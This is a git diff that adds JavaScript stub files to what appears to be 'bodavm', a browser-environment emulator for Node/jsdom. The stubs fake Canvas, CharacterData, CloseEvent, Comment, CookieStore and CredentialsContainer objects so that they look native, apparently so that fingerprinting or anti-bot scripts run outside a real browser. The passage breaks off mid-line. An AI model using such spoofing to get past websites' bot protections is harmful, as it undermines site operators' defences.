+bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clip", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawFocusIfNeeded", {configurable:true, enumerable:true, writable:true, value:function drawFocusIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawFocusIfNeeded", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fill", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getContextAttributes", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "measureText", {configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "measureText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "reset", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "save", {configurable:true, enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "save", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "scale", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "stroke", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "transform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "translate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "closePath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "restore", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rotate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/CharacterData.js b/env_xbb_lastest_jsdom/env copy/CharacterData.js new file mode 100644 index 00000000..5daa88cb --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CharacterData.js @@ -0,0 +1,18 @@ +// CharacterData对象 +bodavm.memory.globalobj['CharacterData'] = function CharacterData(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CharacterData'], "CharacterData"); +bodavm.memory.globalobj['CharacterData'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['CharacterData'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('CharacterData', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "after", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "appendData", {configurable:true, enumerable:true, writable:true, value:function appendData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "appendData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "before", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "deleteData", {configurable:true, enumerable:true, writable:true, value:function deleteData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "deleteData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "insertData", {configurable:true, enumerable:true, writable:true, value:function insertData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "insertData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "remove", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceData", {configurable:true, enumerable:true, writable:true, value:function replaceData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceWith", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "substringData", {configurable:true, enumerable:true, writable:true, value:function substringData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "substringData", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/CloseEvent.js b/env_xbb_lastest_jsdom/env copy/CloseEvent.js new file mode 100644 index 00000000..a946a42a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CloseEvent.js @@ -0,0 +1,19 @@ +// CloseEvent对象 +bodavm.memory.globalobj['CloseEvent'] = function CloseEvent() { + + if (!(this instanceof CloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + } + + if (arguments.length < 1) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': 1 argument required, but only 0 present.") + } + +} + +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CloseEvent'], "CloseEvent"); +bodavm.memory.globalobj['CloseEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CloseEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CloseEvent', "wasClean", { configurable: true, enumerable: true, get: function wasClean() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "wasClean_get", arguments) }, set: undefined }, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "code", { configurable: true, enumerable: true, get: function code() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "code_get", arguments) }, set: undefined }, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "reason", { configurable: true, enumerable: true, get: function reason() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "reason_get", arguments) }, set: undefined }, 'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Comment.js b/env_xbb_lastest_jsdom/env copy/Comment.js new file mode 100644 index 00000000..470e80c5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Comment.js @@ -0,0 +1,10 @@ +// Comment对象 +bodavm.memory.globalobj['Comment'] = function Comment(){ + if (!(this instanceof Comment)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Comment': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + } + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Comment'], "Comment"); +bodavm.memory.globalobj['Comment'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Comment'].__proto__=bodavm.memory.globalobj['CharacterData']; diff --git a/env_xbb_lastest_jsdom/env copy/CookieStore.js b/env_xbb_lastest_jsdom/env copy/CookieStore.js new file mode 100644 index 00000000..36328404 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CookieStore.js @@ -0,0 +1,13 @@ +// CookieStore对象 +bodavm.memory.globalobj['CookieStore'] = function CookieStore(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); +bodavm.memory.globalobj['CookieStore'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['CookieStore'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('CookieStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'cookieStore'] = {} +bodavm.memory.globalobj[ 'cookieStore'].__proto__=bodavm.memory.globalobj['CookieStore'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/CredentialsContainer.js b/env_xbb_lastest_jsdom/env copy/CredentialsContainer.js new file mode 100644 index 00000000..99364d81 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CredentialsContainer.js @@ -0,0 +1,7 @@ +// CredentialsContainer对象 +bodavm.memory.globalobj['CredentialsContainer'] = function CredentialsContainer(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CredentialsContainer'], "CredentialsContainer"); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "create", {configurable:true, enumerable:true, writable:true, value:function create (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "create", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "get", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "preventSilentAccess", {configurable:true, enumerable:true, writable:true, value:function preventSilentAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "preventSilentAccess", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "store", {configurable:true, enumerable:true, writable:true, value:function store 